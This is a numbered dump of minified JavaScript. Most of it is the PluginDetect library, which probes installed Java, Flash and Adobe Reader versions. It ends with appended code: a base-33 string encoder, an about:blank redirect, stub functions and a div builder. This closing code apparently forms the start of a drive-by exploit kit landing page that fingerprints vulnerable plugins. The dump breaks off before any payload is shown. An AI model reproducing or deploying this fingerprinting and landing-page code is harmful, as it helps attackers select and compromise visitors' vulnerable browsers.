  943.                     c.version = e.formatNum(e.getNum(d))
  944.                 }
  945.                 if (f && e.isString(f)) {
  946.                     c.vendor = f
  947.                 }
  948.                 if (!c.vendor) {
  949.                     c.vendor = ""
  950.                 }
  951.                 if (c.verify && c.verify.isEnabled()) {
  952.                     c.getVersionDone = 0
  953.                 } else {
  954.                     if (c.getVersionDone != 1) {
  955.                         if (c.OTF < 2) {
  956.                             c.getVersionDone = 0
  957.                         } else {
  958.                             c.getVersionDone = c.applet.can_Insert_Query_Any() ? 0 : 1
  959.                         }
  960.                     }
  961.                 }
  962.             },
  963.             DTK: {
  964.                 $: 1,
  965.                 hasRun: 0,
  966.                 status: null,
  967.                 VERSIONS: [],
  968.                 version: "",
  969.                 HTML: null,
  970.                 Plugin2Status: null,
  971.                 classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],
  972.                 mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  973.                 disabled: function () {
  974.                     return this.$$.isDisabled.DTK()
  975.                 },
  976.                 query: function () {
  977.                     var k = this,
  978.                         g = k.$,
  979.                         d = k.$$,
  980.                         j, l, h, m = {}, f = {}, a, c = null,
  981.                         i = null,
  982.                         b = (k.hasRun || k.disabled());
  983.                     k.hasRun = 1;
  984.                     if (b) {
  985.                         return k
  986.                     }
  987.                     k.status = 0;
  988.                     if (g.isIE && g.verIE >= 6) {
  989.                         for (l = 0; l < k.classID.length; l++) {
  990.                             k.HTML = g.insertHTML("object", ["classid", k.classID[l]], []);
  991.                             c = g.getDOMobj(k.HTML);
  992.                             try {
  993.                                 if (c && c.jvms) {
  994.                                     break
  995.                                 }
  996.                             } catch (j) {}
  997.                         }
  998.                     } else {
  999.                         if (!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type) {
  1000.                             k.HTML = g.insertHTML("object", ["type", h.type], []);
  1001.                             c = g.getDOMobj(k.HTML)
  1002.                         }
  1003.                     }
  1004.                     if (c) {
  1005.                         try {
  1006.                             a = c.jvms;
  1007.                             if (a) {
  1008.                                 i = a.getLength();
  1009.                                 if (g.isNum(i)) {
  1010.                                     k.status = i > 0 ? 1 : -1;
  1011.                                     for (l = 0; l < i; l++) {
  1012.                                         h = g.getNum(a.get(i - 1 - l).version);
  1013.                                         if (h) {
  1014.                                             k.VERSIONS.push(h);
  1015.                                             f["a" + g.formatNum(h)] = 1
  1016.                                         }
  1017.                                     }
  1018.                                 }
  1019.                             }
  1020.                         } catch (j) {}
  1021.                     }
  1022.                     h = 0;
  1023.                     for (l in f) {
  1024.                         h++
  1025.                     }
  1026.                     if (h && h !== k.VERSIONS.length) {
  1027.                         k.VERSIONS = []
  1028.                     }
  1029.                     if (k.VERSIONS.length) {
  1030.                         k.version = g.formatNum(k.VERSIONS[0])
  1031.                     };
  1032.                     return k
  1033.                 }
  1034.             },
  1035.             AXO: {
  1036.                 $: 1,
  1037.                 hasRun: 0,
  1038.                 VERSIONS: [],
  1039.                 version: "",
  1040.                 disabled: function () {
  1041.                     return this.$$.isDisabled.AXO()
  1042.                 },
  1043.                 JavaVersions: [
  1044.                     [1, 9, 1, 40],
  1045.                     [1, 8, 1, 40],
  1046.                     [1, 7, 1, 40],
  1047.                     [1, 6, 0, 40],
  1048.                     [1, 5, 0, 30],
  1049.                     [1, 4, 2, 30],
  1050.                     [1, 3, 1, 30]
  1051.                 ],
  1052.                 query: function () {
  1053.                     var a = this,
  1054.                         e = a.$,
  1055.                         b = a.$$,
  1056.                         c = (a.hasRun || a.disabled());
  1057.                     a.hasRun = 1;
  1058.                     if (c) {
  1059.                         return a
  1060.                     }
  1061.                     var i = [],
  1062.                         k = [1, 5, 0, 14],
  1063.                         j = [1, 6, 0, 2],
  1064.                         h = [1, 3, 1, 0],
  1065.                         g = [1, 4, 2, 0],
  1066.                         f = [1, 5, 0, 7],
  1067.                         d = b.getInfo ? true : false,
  1068.                         l = {};
  1069.                     if (e.verIE >= b.minIEver) {
  1070.                         i = a.search(j, j, d);
  1071.                         if (i.length > 0 && d) {
  1072.                             i = a.search(k, k, d)
  1073.                         }
  1074.                     } else {
  1075.                         if (d) {
  1076.                             i = a.search(f, f, true)
  1077.                         }
  1078.                         if (i.length == 0) {
  1079.                             i = a.search(h, g, false)
  1080.                         }
  1081.                     }
  1082.                     if (i.length) {
  1083.                         a.version = i[0];
  1084.                         a.VERSIONS = [].concat(i)
  1085.                     };
  1086.                     return a
  1087.                 },
  1088.                 search: function (a, j, p) {
  1089.                     var h, d, f = this,
  1090.                         e = f.$,
  1091.                         k = f.$$,
  1092.                         n, c, l, q, b, o, r, i = [];
  1093.                     if (e.compareNums(a.join(","), j.join(",")) > 0) {
  1094.                         j = a
  1095.                     }
  1096.                     j = e.formatNum(j.join(","));
  1097.                     var m, s = "1,4,2,0",
  1098.                         g = "JavaPlugin." + a[0] + "" + a[1] + "" + a[2] + "" + (a[3] > 0 ? ("_" + (a[3] < 10 ? "0" : "") + a[3]) : "");
  1099.                     for (h = 0; h < f.JavaVersions.length; h++) {
  1100.                         d = f.JavaVersions[h];
  1101.                         n = "JavaPlugin." + d[0] + "" + d[1];
  1102.                         b = d[0] + "." + d[1] + ".";
  1103.                         for (l = d[2]; l >= 0; l--) {
  1104.                             r = "JavaWebStart.isInstalled." + b + l + ".0";
  1105.                             if (e.compareNums(d[0] + "," + d[1] + "," + l + ",0", j) >= 0 && !e.getAXO(r)) {
  1106.                                 continue
  1107.                             }
  1108.                             m = e.compareNums(d[0] + "," + d[1] + "," + l + ",0", s) < 0 ? true : false;
  1109.                             for (q = d[3]; q >= 0; q--) {
  1110.                                 c = l + "_" + (q < 10 ? "0" + q : q);
  1111.                                 o = n + c;
  1112.                                 if (e.getAXO(o) && (m || e.getAXO(r))) {
  1113.                                     i.push(b + c);
  1114.                                     if (!p) {
  1115.                                         return i
  1116.                                     }
  1117.                                 }
  1118.                                 if (o == g) {
  1119.                                     return i
  1120.                                 }
  1121.                             }
  1122.                             if (e.getAXO(n + l) && (m || e.getAXO(r))) {
  1123.                                 i.push(b + l);
  1124.                                 if (!p) {
  1125.                                     return i
  1126.                                 }
  1127.                             }
  1128.                             if (n + l == g) {
  1129.                                 return i
  1130.                             }
  1131.                         }
  1132.                     }
  1133.                     return i
  1134.                 }
  1135.             },
  1136.             navMime: {
  1137.                 $: 1,
  1138.                 hasRun: 0,
  1139.                 mimetype: "",
  1140.                 version: "",
  1141.                 length: 0,
  1142.                 mimeObj: 0,
  1143.                 pluginObj: 0,
  1144.                 disabled: function () {
  1145.                     return this.$$.isDisabled.navMime()
  1146.                 },
  1147.                 query: function () {
  1148.                     var i = this,
  1149.                         f = i.$,
  1150.                         a = i.$$,
  1151.                         b = (i.hasRun || i.disabled());
  1152.                     i.hasRun = 1;
  1153.                     if (b) {
  1154.                         return i
  1155.                     };
  1156.                     var n = /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,
  1157.                         g, l, j, d = "",
  1158.                         h = "a",
  1159.                         o, m, k = {}, c = f.formatNum("0");
  1160.                     for (l = 0; l < navigator.mimeTypes.length; l++) {
  1161.                         o = navigator.mimeTypes[l];
  1162.                         m = o ? o.enabledPlugin : 0;
  1163.                         g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  1164.                         if (g && m && (m.description || m.name)) {
  1165.                             if (!k[h + g]) {
  1166.                                 i.length++
  1167.                             }
  1168.                             k[h + g] = o.type;
  1169.                             if (f.compareNums(g, c) > 0) {
  1170.                                 c = g
  1171.                             }
  1172.                         }
  1173.                     }
  1174.                     g = k[h + c];
  1175.                     if (g) {
  1176.                         o = f.hasMimeType(g);
  1177.                         i.mimeObj = o;
  1178.                         i.pluginObj = o ? o.enabledPlugin : 0;
  1179.                         i.mimetype = g;
  1180.                         i.version = c
  1181.                     };
  1182.                     return i
  1183.                 }
  1184.             },
  1185.             navPlugin: {
  1186.                 $: 1,
  1187.                 hasRun: 0,
  1188.                 version: "",
  1189.                 disabled: function () {
  1190.                     return this.$$.isDisabled.navPlugin()
  1191.                 },
  1192.                 query: function () {
  1193.                     var m = this,
  1194.                         e = m.$,
  1195.                         c = m.$$,
  1196.                         h = c.navigator,
  1197.                         j, l, k, g, d, a, i, f = 0,
  1198.                         b = (m.hasRun || m.disabled());
  1199.                     m.hasRun = 1;
  1200.                     if (b) {
  1201.                         return m
  1202.                     };
  1203.                     a = h.pluginObj.name || "";
  1204.                     i = h.pluginObj.description || "";
  1205.                     if (!f || c.debug) {
  1206.                         g = /Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i;
  1207.                         if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5) {
  1208.                             f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0")
  1209.                         }
  1210.                     }
  1211.                     if (!f || c.debug) {
  1212.                         g = /Java[^\d]*Plug-in/i;
  1213.                         l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  1214.                         k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  1215.                         if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.formatNum("2")) >= 0)) {
  1216.                             l = 0
  1217.                         }
  1218.                         if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.formatNum("2")) >= 0)) {
  1219.                             k = 0
  1220.                         }
  1221.                         d = l && k ? (e.compareNums(l, k) > 0 ? l : k) : (l || k);
  1222.                         if (d) {
  1223.                             f = d
  1224.                         }
  1225.                     }
  1226.                     if (!f && e.isSafari && e.OS == 2) {
  1227.                         j = e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa", 0);
  1228.                         if (j) {
  1229.                             l = e.getNum(j.description);
  1230.                             if (l) {
  1231.                                 f = l
  1232.                             }
  1233.                         }
  1234.                     };
  1235.                     if (f) {
  1236.                         m.version = e.formatNum(f)
  1237.                     };
  1238.                     return m
  1239.                 }
  1240.             },
  1241.             lang: {
  1242.                 $: 1,
  1243.                 System: {
  1244.                     $: 1,
  1245.                     hasRun: 0,
  1246.                     result: [null, null],
  1247.                     disabled: function () {
  1248.                         return this.$$.isDisabled.windowDotJava()
  1249.                     },
  1250.                     getPropertyHas: function (a) {
  1251.                         var b = this,
  1252.                             d = b.$,
  1253.                             c = b.getProperty()[0];
  1254.                         return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === 0) ? 1 : 0
  1255.                     },
  1256.                     getProperty: function () {
  1257.                         var f = this,
  1258.                             g = f.$,
  1259.                             d = f.$$,
  1260.                             i, h = {}, b = f.hasRun || f.disabled();
  1261.                         f.hasRun = 1;
  1262.                         if (!b) {
  1263.                             var a = "java_qqq990";
  1264.                             g[a] = null;
  1265.                             try {
  1266.                                 var c = document.createElement("script");
  1267.                                 c.type = "text/javascript";
  1268.                                 c.appendChild(document.createTextNode('(function(){var e,a;try{a=[window.java.lang.System.getProperty("java.version")+" ",window.java.lang.System.getProperty("java.vendor")+" "]}catch(e){};' + g.name + "." + a + "=a||0})();"));
  1269.                                 g.head.insertBefore(c, g.head.firstChild);
  1270.                                 g.head.removeChild(c)
  1271.                             } catch (i) {}
  1272.                             if (g[a] && g.isArray(g[a])) {
  1273.                                 f.result = [].concat(g[a])
  1274.                             }
  1275.                         }
  1276.                         return f.result
  1277.                     }
  1278.                 }
  1279.             },
  1280.             applet: {
  1281.                 $: 1,
  1282.                 results: [
  1283.                     [null, null],
  1284.                     [null, null],
  1285.                     [null, null]
  1286.                 ],
  1287.                 getResult: function () {
  1288.                     var c = this.results,
  1289.                         a, b = [];
  1290.                     for (a = 0; a < c.length; a++) {
  1291.                         b = c[a];
  1292.                         if (b[0]) {
  1293.                             break
  1294.                         }
  1295.                     }
  1296.                     return [].concat(b)
  1297.                 },
  1298.                 HTML: [0, 0, 0],
  1299.                 active: [0, 0, 0],
  1300.                 DummyObjTagHTML: 0,
  1301.                 DummySpanTagHTML: 0,
  1302.                 allowed: [1, 1, 1],
  1303.                 VerifyTagsHas: function (c) {
  1304.                     var d = this,
  1305.                         b;
  1306.                     for (b = 0; b < d.allowed.length; b++) {
  1307.                         if (d.allowed[b] === c) {
  1308.                             return 1
  1309.                         }
  1310.                     }
  1311.                     return 0
  1312.                 },
  1313.                 saveAsVerifyTagsArray: function (c) {
  1314.                     var b = this,
  1315.                         d = b.$,
  1316.                         a;
  1317.                     if (d.isArray(c)) {
  1318.                         for (a = 0; a < b.allowed.length; a++) {
  1319.                             if (d.isNum(c[a])) {
  1320.                                 if (c[a] < 0) {
  1321.                                     c[a] = 0
  1322.                                 }
  1323.                                 if (c[a] > 3) {
  1324.                                     c[a] = 3
  1325.                                 }
  1326.                                 b.allowed[a] = c[a]
  1327.                             }
  1328.                         }
  1329.                     }
  1330.                 },
  1331.                 setVerifyTagsArray: function (d) {
  1332.                     var b = this,
  1333.                         c = b.$,
  1334.                         a = b.$$;
  1335.                     if (a.getVersionDone === null) {
  1336.                         b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1337.                     }
  1338.                     if (a.debug || (a.verify && a.verify.isEnabled())) {
  1339.                         b.saveAsVerifyTagsArray([3, 3, 3])
  1340.                     } else {
  1341.                         if (d) {
  1342.                             b.saveAsVerifyTagsArray(d)
  1343.                         }
  1344.                     }
  1345.                 },
  1346.                 allDisabled: function () {
  1347.                     return this.$$.isDisabled.allApplets()
  1348.                 },
  1349.                 isDisabled: function (d) {
  1350.                     var b = this,
  1351.                         c = b.$,
  1352.                         a = b.$$;
  1353.                     if (d == 2 && !c.isIE) {
  1354.                         return 1
  1355.                     }
  1356.                     if (d === 0 || d == 2) {
  1357.                         return a.isDisabled.ObjectTag()
  1358.                     }
  1359.                     if (d == 1) {
  1360.                         return a.isDisabled.AppletTag()
  1361.                     }
  1362.                 },
  1363.                 can_Insert_Query: function (b) {
  1364.                     var a = this;
  1365.                     if (a.HTML[b]) {
  1366.                         return 0
  1367.                     }
  1368.                     return !a.isDisabled(b)
  1369.                 },
  1370.                 can_Insert_Query_Any: function () {
  1371.                     var b = this,
  1372.                         a;
  1373.                     for (a = 0; a < b.results.length; a++) {
  1374.                         if (b.can_Insert_Query(a)) {
  1375.                             return 1
  1376.                         }
  1377.                     }
  1378.                     return 0
  1379.                 },
  1380.                 should_Insert_Query: function (d) {
  1381.                     var b = this,
  1382.                         e = b.allowed,
  1383.                         c = b.$,
  1384.                         a = b.$$;
  1385.                     if (!b.can_Insert_Query(d)) {
  1386.                         return 0
  1387.                     }
  1388.                     if (e[d] == 3) {
  1389.                         return 1
  1390.                     }
  1391.                     if (e[d] == 2.8 && !b.getResult()[0]) {
  1392.                         return 1
  1393.                     }
  1394.                     if (e[d] == 2.5 && !a.lang.System.getProperty()[0]) {
  1395.                         return 1
  1396.                     }
  1397.                     if (e[d] == 2.2 && !a.lang.System.getProperty()[0] && !b.getResult()[0]) {
  1398.                         return 1
  1399.                     }
  1400.                     if (!a.nonAppletDetectionOk(a.version0)) {
  1401.                         if (e[d] == 2) {
  1402.                             return 1
  1403.                         }
  1404.                         if (e[d] == 1 && !b.getResult()[0]) {
  1405.                             return 1
  1406.                         }
  1407.                     }
  1408.                     return 0
  1409.                 },
  1410.                 should_Insert_Query_Any: function () {
  1411.                     var b = this,
  1412.                         a;
  1413.                     for (a = 0; a < b.allowed.length; a++) {
  1414.                         if (b.should_Insert_Query(a)) {
  1415.                             return 1
  1416.                         }
  1417.                     }
  1418.                     return 0
  1419.                 },
  1420.                 query: function (f) {
  1421.                     var h, a = this,
  1422.                         g = a.$,
  1423.                         d = a.$$,
  1424.                         i = null,
  1425.                         j = null,
  1426.                         b = a.results,
  1427.                         c;
  1428.                     if ((b[f][0] && b[f][1]) || (d.debug && d.OTF < 3)) {
  1429.                         return
  1430.                     }
  1431.                     c = g.getDOMobj(a.HTML[f], true);
  1432.                     if (c) {
  1433.                         try {
  1434.                             i = g.getNum(c.getVersion() + " ");
  1435.                             j = c.getVendor() + " ";
  1436.                             c.statusbar(g.winLoaded ? " " : " ")
  1437.                         } catch (h) {}
  1438.                         if (i && g.isStrNum(i)) {
  1439.                             b[f] = [i, j]
  1440.                         } else {};
  1441.                         try {
  1442.                             if (g.isIE && i && c.readyState != 4) {
  1443.                                 g.garbage = true;
  1444.                                 c.parentNode.removeChild(c)
  1445.                             }
  1446.                         } catch (h) {}
  1447.                     }
  1448.                 },
  1449.                 insert_Query_Any: function () {
  1450.                     var d = this,
  1451.                         i = d.$,
  1452.                         e = d.$$,
  1453.                         l = d.results,
  1454.                         p = d.HTML,
  1455.                         a = "&nbsp;&nbsp;&nbsp;&nbsp;",
  1456.                         g = "A.class",
  1457.                         m = i.file.getValid(e);
  1458.                     if (!m) {
  1459.                         return d.getResult()
  1460.                     }
  1461.                     if (e.OTF < 1) {
  1462.                         e.OTF = 1
  1463.                     }
  1464.                     if (d.allDisabled()) {
  1465.                         return d.getResult()
  1466.                     }
  1467.                     if (e.OTF < 1.5) {
  1468.                         e.OTF = 1.5
  1469.                     }
  1470.                     var j = m.name + m.ext,
  1471.                         h = m.path;
  1472.                     var f = ["archive", j, "code", g],
  1473.                         c = ["mayscript", "true"],
  1474.                         o = ["scriptable", "true"].concat(c),
  1475.                         n = e.navigator,
  1476.                         b = !i.isIE && n.mimeObj && n.mimeObj.type ? n.mimeObj.type : e.mimeType[0];
  1477.                     if (d.should_Insert_Query(0)) {
  1478.                         if (e.OTF < 2) {
  1479.                             e.OTF = 2
  1480.                         };
  1481.                         p[0] = i.isIE ? i.insertHTML("object", ["type", b], ["codebase", h].concat(f).concat(o), a, e) : i.insertHTML("object", ["type", b], ["codebase", h].concat(f).concat(o), a, e);
  1482.                         l[0] = [0, 0];
  1483.                         d.query(0)
  1484.                     }
  1485.                     if (d.should_Insert_Query(1)) {
  1486.                         if (e.OTF < 2) {
  1487.                             e.OTF = 2
  1488.                         };
  1489.                         p[1] = i.isIE ? i.insertHTML("applet", ["alt", a].concat(c).concat(f), ["codebase", h].concat(c), a, e) : i.insertHTML("applet", ["codebase", h, "alt", a].concat(c).concat(f), [].concat(c), a, e);
  1490.                         l[1] = [0, 0];
  1491.                         d.query(1)
  1492.                     }
  1493.                     if (d.should_Insert_Query(2)) {
  1494.                         if (e.OTF < 2) {
  1495.                             e.OTF = 2
  1496.                         };
  1497.                         p[2] = i.isIE ? i.insertHTML("object", ["classid", e.classID], ["codebase", h].concat(f).concat(o), a, e) : i.insertHTML();
  1498.                         l[2] = [0, 0];
  1499.                         d.query(2)
  1500.                     }
  1501.                     if (!d.DummyObjTagHTML && !e.isDisabled.ObjectTag()) {
  1502.                         d.DummyObjTagHTML = i.insertHTML("object", [], [], a)
  1503.                     }
  1504.                     if (!d.DummySpanTagHTML) {
  1505.                         d.DummySpanTagHTML = i.insertHTML("", [], [], a)
  1506.                     };
  1507.                     var k = e.NOTF;
  1508.                     if (e.OTF < 3 && k.shouldContinueQuery()) {
  1509.                         e.OTF = 3;
  1510.                         k.onIntervalQuery = i.handler(k.$$onIntervalQuery, k);
  1511.                         if (!i.winLoaded) {
  1512.                             i.WLfuncs0.push([k.winOnLoadQuery, k])
  1513.                         }
  1514.                         setTimeout(k.onIntervalQuery, k.intervalLength)
  1515.                     };
  1516.                     return d.getResult()
  1517.                 }
  1518.             },
  1519.             NOTF: {
  1520.                 $: 1,
  1521.                 count: 0,
  1522.                 countMax: 25,
  1523.                 intervalLength: 250,
  1524.                 shouldContinueQuery: function () {
  1525.                     var e = this,
  1526.                         d = e.$,
  1527.                         c = e.$$,
  1528.                         b = c.applet,
  1529.                         a;
  1530.                     for (a = 0; a < b.results.length; a++) {
  1531.                         if (b.HTML[a] && !b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1 && !b.getResult()[0])) && e.isAppletActive(a) >= 0) {
  1532.                             return 1
  1533.                         }
  1534.                     }
  1535.                     return 0
  1536.                 },
  1537.                 isJavaActive: function (d) {
  1538.                     var f = this,
  1539.                         c = f.$$,
  1540.                         a, b, e = -9;
  1541.                     for (a = 0; a < c.applet.HTML.length; a++) {
  1542.                         b = f.isAppletActive(a, d);
  1543.                         if (b > e) {
  1544.                             e = b
  1545.                         }
  1546.                     }
  1547.                     return e
  1548.                 },
  1549.                 isAppletActive: function (c, a) {
  1550.                     var d = this,
  1551.                         b = d.$$.applet.active;
  1552.                     if (!a) {
  1553.                         b[c] = d.isAppletActive_(c)
  1554.                     }
  1555.                     return b[c]
  1556.                 },
  1557.                 isAppletActive_: function (d) {
  1558.                     var g = this,
  1559.                         f = g.$,
  1560.                         b = g.$$,
  1561.                         l = b.navigator,
  1562.                         a = b.applet,
  1563.                         h = a.HTML[d],
  1564.                         i, k, c = 0,
  1565.                         j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.count);
  1566.                     if (j == -2) {
  1567.                         return -2
  1568.                     }
  1569.                     try {
  1570.                         if (f.isIE && f.verIE >= b.minIEver && f.getDOMobj(h).object) {
  1571.                             return 1
  1572.                         }
  1573.                     } catch (i) {}
  1574.                     for (k = 0; k < a.active.length; k++) {
  1575.                         if (a.active[k] > 0) {
  1576.                             c = 1
  1577.                         }
  1578.                     }
  1579.                     if (j == 1 && (f.isIE || ((b.version0 && l.javaEnabled() && l.mimeObj && (h.tagName == "object" || c)) || b.lang.System.getProperty()[0]))) {
  1580.                         return 1
  1581.                     }
  1582.                     if (j < 0) {
  1583.                         return -1
  1584.                     }
  1585.                     return 0
  1586.                 },
  1587.                 winOnLoadQuery: function (c, d) {
  1588.                     var b = d.$$,
  1589.                         a;
  1590.                     if (b.OTF == 3) {
  1591.                         a = d.queryAllApplets();
  1592.                         d.queryCompleted(a[1], a[2])
  1593.                     }
  1594.                 },
  1595.                 $$onIntervalQuery: function (d) {
  1596.                     var c = d.$,
  1597.                         b = d.$$,
  1598.                         a;
  1599.                     if (b.OTF == 3) {
  1600.                         a = d.queryAllApplets();
  1601.                         if (!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax)) {
  1602.                             d.queryCompleted(a[1], a[2])
  1603.                         }
  1604.                     }
  1605.                     d.count++;
  1606.                     if (b.OTF == 3) {
  1607.                         setTimeout(d.onIntervalQuery, d.intervalLength)
  1608.                     }
  1609.                 },
  1610.                 queryAllApplets: function () {
  1611.                     var g = this,
  1612.                         f = g.$,
  1613.                         e = g.$$,
  1614.                         d = e.applet,
  1615.                         b, a, c;
  1616.                     for (b = 0; b < d.results.length; b++) {
  1617.                         d.query(b)
  1618.                     }
  1619.                     a = d.getResult();
  1620.                     c = a[0] ? true : false;
  1621.                     return [c, a[0], a[1]]
  1622.                 },
  1623.                 queryCompleted: function (c, f) {
  1624.                     var e = this,
  1625.                         d = e.$,
  1626.                         b = e.$$;
  1627.                     if (b.OTF >= 4) {
  1628.                         return
  1629.                     }
  1630.                     b.OTF = 4;
  1631.                     var a = e.isJavaActive();
  1632.                     b.setPluginStatus(c, f, 0);
  1633.                     if (b.funcs) {
  1634.                         d.callArray(b.funcs)
  1635.                     }
  1636.                     if (d.onDoneEmptyDiv) {
  1637.                         d.onDoneEmptyDiv()
  1638.                     }
  1639.                 }
  1640.             },
  1641.             zz: 0
  1642.         },
  1643.         flash: {
  1644.             mimeType: "application/x-shockwave-flash",
  1645.             progID: "ShockwaveFlash.ShockwaveFlash",
  1646.             classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
  1647.             getVersion: function () {
  1648.                 var b = function (i) {
  1649.                     if (!i) {
  1650.                         return null
  1651.                     }
  1652.                     var e = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i);
  1653.                     return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
  1654.                 };
  1655.                 var j = this,
  1656.                     g = j.$,
  1657.                     k, h, l = null,
  1658.                     c = null,
  1659.                     a = null,
  1660.                     f, m, d;
  1661.                 if (!g.isIE) {
  1662.                     m = g.hasMimeType(j.mimeType);
  1663.                     if (m) {
  1664.                         f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j));
  1665.                         try {
  1666.                             l = g.getNum(f.GetVariable("$version"))
  1667.                         } catch (k) {}
  1668.                     }
  1669.                     if (!l) {
  1670.                         d = m ? m.enabledPlugin : null;
  1671.                         if (d && d.description) {
  1672.                             l = b(d.description)
  1673.                         }
  1674.                         if (l) {
  1675.                             l = g.getPluginFileVersion(d, l)
  1676.                         }
  1677.                     }
  1678.                 } else {
  1679.                     for (h = 15; h > 2; h--) {
  1680.                         c = g.getAXO(j.progID + "." + h);
  1681.                         if (c) {
  1682.                             a = h.toString();
  1683.                             break
  1684.                         }
  1685.                     }
  1686.                     if (!c) {
  1687.                         c = g.getAXO(j.progID)
  1688.                     }
  1689.                     if (a == "6") {
  1690.                         try {
  1691.                             c.AllowScriptAccess = "always"
  1692.                         } catch (k) {
  1693.                             return "6,0,21,0"
  1694.                         }
  1695.                     }
  1696.                     try {
  1697.                         l = b(c.GetVariable("$version"))
  1698.                     } catch (k) {}
  1699.                     if (!l && a) {
  1700.                         l = a
  1701.                     }
  1702.                 }
  1703.                 j.installed = l ? 1 : -1;
  1704.                 j.version = g.formatNum(l);
  1705.                 return true
  1706.             }
  1707.         },
  1708.         adobereader: {
  1709.             mimeType: "application/pdf",
  1710.             navPluginObj: null,
  1711.             progID: ["AcroPDF.PDF", "PDF.PdfCtrl"],
  1712.             classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
  1713.             INSTALLED: {},
  1714.             pluginHasMimeType: function (d, c, f) {
  1715.                 var b = this,
  1716.                     e = b.$,
  1717.                     a;
  1718.                 for (a in d) {
  1719.                     if (d[a] && d[a].type && d[a].type == c) {
  1720.                         return 1
  1721.                     }
  1722.                 }
  1723.                 if (e.getMimeEnabledPlugin(c, f)) {
  1724.                     return 1
  1725.                 }
  1726.                 return 0
  1727.             },
  1728.             getVersion: function (l, j) {
  1729.                 var g = this,
  1730.                     d = g.$,
  1731.                     i, f, m, n, b = null,
  1732.                     h = null,
  1733.                     k = g.mimeType,
  1734.                     a, c;
  1735.                 if (d.isString(j)) {
  1736.                     j = j.replace(/\s/g, "");
  1737.                     if (j) {
  1738.                         k = j
  1739.                     }
  1740.                 } else {
  1741.                     j = null
  1742.                 }
  1743.                 if (d.isDefined(g.INSTALLED[k])) {
  1744.                     g.installed = g.INSTALLED[k];
  1745.                     return
  1746.                 }
  1747.                 if (!d.isIE) {
  1748.                     a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  1749.                     if (g.getVersionDone !== 0) {
  1750.                         g.getVersionDone = 0;
  1751.                         b = d.getMimeEnabledPlugin(g.mimeType, a);
  1752.                         if (!j) {
  1753.                             n = b
  1754.                         }
  1755.                         if (!b && d.hasMimeType(g.mimeType)) {
  1756.                             b = d.findNavPlugin(a, 0)
  1757.                         }
  1758.                         if (b) {
  1759.                             g.navPluginObj = b;
  1760.                             h = d.getNum(b.description) || d.getNum(b.name);
  1761.                             h = d.getPluginFileVersion(b, h);
  1762.                             if (!h && d.OS == 1) {
  1763.                                 if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)) {
  1764.                                     h = "9"
  1765.                                 } else {
  1766.                                     if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)) {
  1767.                                         h = "8"
  1768.                                     }
  1769.                                 }
  1770.                             }
  1771.                         }
  1772.                     } else {
  1773.                         h = g.version
  1774.                     }
  1775.                     if (!d.isDefined(n)) {
  1776.                         n = d.getMimeEnabledPlugin(k, a)
  1777.                     }
  1778.                     g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ? -0.2 : -1))
  1779.                 } else {
  1780.                     b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
  1781.                     c = /=\s*([\d\.]+)/g;
  1782.                     try {
  1783.                         f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src", ""], "", g))).GetVersions();
  1784.                         for (m = 0; m < 5; m++) {
  1785.                             if (c.test(f) && (!h || RegExp.$1 > h)) {
  1786.                                 h = RegExp.$1
  1787.                             }
  1788.                         }
  1789.                     } catch (i) {}
  1790.                     g.installed = h ? 1 : (b ? 0 : -1)
  1791.                 }
  1792.                 if (!g.version) {
  1793.                     g.version = d.formatNum(h)
  1794.                 }
  1795.                 g.INSTALLED[k] = g.installed
  1796.             }
  1797.         },
  1798.         zz: 0
  1799.     }
  1800. };
  1801. PluginDetect.initScript();
  1802. PluginDetect.getVersion(".");
  1803. var $$ = PluginDetect;
  1804.  
  1805. function x(s) {
  1806.     d = [];
  1807.     for (i = 0; i < s.length; i++) {
  1808.         k = (s.charCodeAt(i)).toString(33);
  1809.         d.push(k);
  1810.     };
  1811.     return d.join(":");
  1812. }
  1813. end_redirect = function () {
  1814.     window.location.href = 'about:blank';
  1815. };
  1816.  
  1817. function j1() {
  1818.     return true;
  1819. }
  1820.  
  1821. function j2() {
  1822.     return true;
  1823. }
  1824.  
  1825. function p1() {
  1826.     var d = document.createElement("div");
